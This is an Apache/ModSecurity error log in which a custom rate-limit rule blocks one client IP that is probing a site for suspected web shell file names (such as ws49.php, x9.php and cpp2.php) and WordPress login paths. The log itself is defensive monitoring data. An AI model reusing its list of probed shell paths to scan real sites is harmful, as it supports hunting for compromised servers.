[Tue Apr 14 02:36:32.407752 2026] [:error] [pid 60317:tid 60340] [client 20.220.194.201:4035] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws49.php"] [unique_id "ad03sLBo7Bc8I7P_P--83wAAAMA"]
[Tue Apr 14 02:36:33.095107 2026] [:error] [pid 60317:tid 60354] [client 20.220.194.201:12854] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws49.php"] [unique_id "ad03sbBo7Bc8I7P_P--85QAAAM4"]
[Tue Apr 14 02:36:33.727731 2026] [:error] [pid 59914:tid 59948] [client 20.220.194.201:27556] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws49.php"] [unique_id "ad03seq0YMmB3OWbbUliOgAAAEQ"]
[Tue Apr 14 02:36:34.263321 2026] [:error] [pid 59914:tid 59958] [client 20.220.194.201:19655] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-blog-header.php"] [unique_id "ad03suq0YMmB3OWbbUliPQAAAE4"]
[Tue Apr 14 02:36:35.108702 2026] [:error] [pid 59913:tid 59931] [client 20.220.194.201:31883] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-blog-header.php"] [unique_id "ad03s65XvQ9C-gZtr2y8PgAAAA4"]
[Tue Apr 14 02:36:35.576087 2026] [:error] [pid 60317:tid 60357] [client 20.220.194.201:19707] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-blog-header.php"] [unique_id "ad03s7Bo7Bc8I7P_P--88QAAANE"]
[Tue Apr 14 02:36:36.186803 2026] [:error] [pid 59915:tid 59989] [client 20.220.194.201:25846] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-blog-header.php"] [unique_id "ad03tIeTNdEemByf99hWxQAAAJI"]
[Tue Apr 14 02:36:36.791192 2026] [:error] [pid 59915:tid 59987] [client 20.220.194.201:31640] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bgymj.php"] [unique_id "ad03tIeTNdEemByf99hWxwAAAJA"]
[Tue Apr 14 02:36:37.259114 2026] [:error] [pid 60317:tid 60358] [client 20.220.194.201:15970] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bgymj.php"] [unique_id "ad03tbBo7Bc8I7P_P--89QAAANI"]
[Tue Apr 14 02:36:38.004110 2026] [:error] [pid 59915:tid 59978] [client 20.220.194.201:22437] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bgymj.php"] [unique_id "ad03toeTNdEemByf99hWzAAAAIc"]
[Tue Apr 14 02:36:38.657286 2026] [:error] [pid 59913:tid 59929] [client 20.220.194.201:19110] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bgymj.php"] [unique_id "ad03tq5XvQ9C-gZtr2y8RQAAAAw"]
[Tue Apr 14 02:36:39.078746 2026] [:error] [pid 59913:tid 59936] [client 20.220.194.201:27557] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gfd.php"] [unique_id "ad03t65XvQ9C-gZtr2y8RwAAABM"]
[Tue Apr 14 02:36:39.519290 2026] [:error] [pid 59914:tid 59953] [client 20.220.194.201:22460] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gfd.php"] [unique_id "ad03t-q0YMmB3OWbbUliUQAAAEk"]
[Tue Apr 14 02:36:57.152818 2026] [:error] [pid 59914:tid 59968] [client 20.220.194.201:17662] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ad03yeq0YMmB3OWbbUlibAAAAFg"]
[Tue Apr 14 02:36:58.095157 2026] [:error] [pid 60317:tid 60346] [client 20.220.194.201:29489] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ad03yrBo7Bc8I7P_P--9GgAAAMY"]
[Tue Apr 14 02:36:59.261604 2026] [:error] [pid 60317:tid 60364] [client 20.220.194.201:29452] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ad03y7Bo7Bc8I7P_P--9HwAAANg"]
[Tue Apr 14 02:37:00.278724 2026] [:error] [pid 59915:tid 59984] [client 20.220.194.201:21674] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ad03zIeTNdEemByf99hW6gAAAI0"]
[Tue Apr 14 02:37:00.920451 2026] [:error] [pid 60317:tid 60361] [client 20.220.194.201:28399] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws66.php"] [unique_id "ad03zLBo7Bc8I7P_P--9KQAAANU"]
[Tue Apr 14 02:37:01.569686 2026] [:error] [pid 60317:tid 60364] [client 20.220.194.201:28771] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws66.php"] [unique_id "ad03zbBo7Bc8I7P_P--9LgAAANg"]
[Tue Apr 14 02:37:02.570519 2026] [:error] [pid 60317:tid 60360] [client 20.220.194.201:13116] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws66.php"] [unique_id "ad03zrBo7Bc8I7P_P--9MAAAANQ"]
[Tue Apr 14 02:37:03.460610 2026] [:error] [pid 60317:tid 60354] [client 20.220.194.201:3947] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws66.php"] [unique_id "ad03z7Bo7Bc8I7P_P--9NQAAAM4"]
[Tue Apr 14 02:37:04.007428 2026] [:error] [pid 59913:tid 59921] [client 20.220.194.201:28784] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ewe.php"] [unique_id "ad030K5XvQ9C-gZtr2y8bQAAAAQ"]
[Tue Apr 14 02:37:04.615767 2026] [:error] [pid 60317:tid 60356] [client 20.220.194.201:3911] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ewe.php"] [unique_id "ad030LBo7Bc8I7P_P--9OgAAANA"]
[Tue Apr 14 02:37:05.143679 2026] [:error] [pid 60317:tid 60345] [client 20.220.194.201:3930] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ewe.php"] [unique_id "ad030bBo7Bc8I7P_P--9PQAAAMU"]
[Tue Apr 14 02:37:06.005469 2026] [:error] [pid 60317:tid 60358] [client 20.220.194.201:32236] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ewe.php"] [unique_id "ad030rBo7Bc8I7P_P--9RQAAANI"]
[Tue Apr 14 02:37:06.749548 2026] [:error] [pid 59914:tid 59962] [client 20.220.194.201:25070] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aboute.php"] [unique_id "ad030uq0YMmB3OWbbUlidwAAAFI"]
[Tue Apr 14 02:37:07.261135 2026] [:error] [pid 59913:tid 59933] [client 20.220.194.201:37739] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aboute.php"] [unique_id "ad03065XvQ9C-gZtr2y8bgAAABA"]
[Tue Apr 14 02:37:07.948769 2026] [:error] [pid 60317:tid 60351] [client 20.220.194.201:21671] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aboute.php"] [unique_id "ad0307Bo7Bc8I7P_P--9SwAAAMs"]
[Tue Apr 14 02:37:08.753276 2026] [:error] [pid 59914:tid 59946] [client 20.220.194.201:19110] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aboute.php"] [unique_id "ad031Oq0YMmB3OWbbUlifQAAAEI"]
[Tue Apr 14 02:37:09.382382 2026] [:error] [pid 59914:tid 59963] [client 20.220.194.201:19404] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x9.php"] [unique_id "ad031eq0YMmB3OWbbUligQAAAFM"]
[Tue Apr 14 02:37:10.279860 2026] [:error] [pid 59913:tid 59927] [client 20.220.194.201:19401] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x9.php"] [unique_id "ad031q5XvQ9C-gZtr2y8ewAAAAo"]
[Tue Apr 14 02:37:10.903891 2026] [:error] [pid 59915:tid 59989] [client 20.220.194.201:32242] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x9.php"] [unique_id "ad031oeTNdEemByf99hXAQAAAJI"]
[Tue Apr 14 02:37:11.552113 2026] [:error] [pid 59915:tid 59995] [client 20.220.194.201:29492] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x9.php"] [unique_id "ad0314eTNdEemByf99hXBAAAAJg"]
[Tue Apr 14 02:37:12.175498 2026] [:error] [pid 59913:tid 59933] [client 20.220.194.201:21659] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/an.php"] [unique_id "ad032K5XvQ9C-gZtr2y8gwAAABA"]
[Tue Apr 14 02:37:12.949705 2026] [:error] [pid 59914:tid 59951] [client 20.220.194.201:33613] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/an.php"] [unique_id "ad032Oq0YMmB3OWbbUlihwAAAEc"]
[Tue Apr 14 02:37:13.451038 2026] [:error] [pid 59913:tid 59932] [client 20.220.194.201:14149] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/an.php"] [unique_id "ad032a5XvQ9C-gZtr2y8iAAAAA8"]
[Tue Apr 14 02:37:14.065282 2026] [:error] [pid 59915:tid 59976] [client 20.220.194.201:3217] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/an.php"] [unique_id "ad032oeTNdEemByf99hXEAAAAIU"]
[Tue Apr 14 02:37:15.028509 2026] [:error] [pid 59914:tid 59948] [client 20.220.194.201:19405] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aboutc.php"] [unique_id "ad032-q0YMmB3OWbbUlikAAAAEQ"]
[Tue Apr 14 02:37:15.777043 2026] [:error] [pid 59915:tid 59979] [client 20.220.194.201:33476] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aboutc.php"] [unique_id "ad0324eTNdEemByf99hXFgAAAIg"]
[Tue Apr 14 02:37:16.795993 2026] [:error] [pid 60317:tid 60345] [client 20.220.194.201:29501] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aboutc.php"] [unique_id "ad033LBo7Bc8I7P_P--9UgAAAMU"]
[Tue Apr 14 02:37:17.695122 2026] [:error] [pid 59913:tid 59926] [client 20.220.194.201:16781] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aboutc.php"] [unique_id "ad033a5XvQ9C-gZtr2y8jQAAAAk"]
[Tue Apr 14 02:37:18.504219 2026] [:error] [pid 60317:tid 60363] [client 20.220.194.201:19660] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gdn.php"] [unique_id "ad033rBo7Bc8I7P_P--9VQAAANc"]
[Tue Apr 14 02:37:19.264467 2026] [:error] [pid 59913:tid 59918] [client 20.220.194.201:37753] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gdn.php"] [unique_id "ad03365XvQ9C-gZtr2y8kAAAAAE"]
[Tue Apr 14 02:37:19.959562 2026] [:error] [pid 59913:tid 59939] [client 20.220.194.201:37720] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gdn.php"] [unique_id "ad03365XvQ9C-gZtr2y8kwAAABY"]
[Tue Apr 14 02:37:20.721733 2026] [:error] [pid 60317:tid 60347] [client 20.220.194.201:24304] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gdn.php"] [unique_id "ad034LBo7Bc8I7P_P--9XAAAAMc"]
[Tue Apr 14 02:37:21.569282 2026] [:error] [pid 59915:tid 59971] [client 20.220.194.201:14172] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/first.php"] [unique_id "ad034YeTNdEemByf99hXKgAAAIA"]
[Tue Apr 14 02:37:22.579323 2026] [:error] [pid 59914:tid 59962] [client 20.220.194.201:33472] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/first.php"] [unique_id "ad034uq0YMmB3OWbbUlinAAAAFI"]
[Tue Apr 14 02:37:23.763132 2026] [:error] [pid 59915:tid 59995] [client 20.220.194.201:3925] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/first.php"] [unique_id "ad0344eTNdEemByf99hXMgAAAJg"]
[Tue Apr 14 02:37:25.233094 2026] [:error] [pid 59914:tid 59961] [client 20.220.194.201:33493] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/first.php"] [unique_id "ad035eq0YMmB3OWbbUliowAAAFE"]
[Tue Apr 14 02:37:26.439222 2026] [:error] [pid 59913:tid 59927] [client 20.220.194.201:37699] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/redixsx.php"] [unique_id "ad035q5XvQ9C-gZtr2y8mQAAAAo"]
[Tue Apr 14 02:37:27.571175 2026] [:error] [pid 59914:tid 59959] [client 20.220.194.201:24285] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/redixsx.php"] [unique_id "ad035-q0YMmB3OWbbUliqAAAAE8"]
[Tue Apr 14 02:37:28.257875 2026] [:error] [pid 59914:tid 59954] [client 20.220.194.201:24287] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/redixsx.php"] [unique_id "ad036Oq0YMmB3OWbbUliqgAAAEo"]
[Tue Apr 14 02:37:28.964253 2026] [:error] [pid 59914:tid 59948] [client 20.220.194.201:32687] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/redixsx.php"] [unique_id "ad036Oq0YMmB3OWbbUlirQAAAEQ"]
[Tue Apr 14 02:37:29.673406 2026] [:error] [pid 59915:tid 59987] [client 20.220.194.201:20886] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cpp2.php"] [unique_id "ad036YeTNdEemByf99hXSgAAAJA"]
[Tue Apr 14 02:37:30.439861 2026] [:error] [pid 60317:tid 60349] [client 20.220.194.201:18907] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cpp2.php"] [unique_id "ad036rBo7Bc8I7P_P--9ZgAAAMk"]
[Tue Apr 14 02:37:31.110814 2026] [:error] [pid 59913:tid 59920] [client 20.220.194.201:19448] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cpp2.php"] [unique_id "ad03665XvQ9C-gZtr2y8nAAAAAM"]
[Tue Apr 14 02:37:31.818567 2026] [:error] [pid 60317:tid 60348] [client 20.220.194.201:18883] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cpp2.php"] [unique_id "ad0367Bo7Bc8I7P_P--9bgAAAMg"]
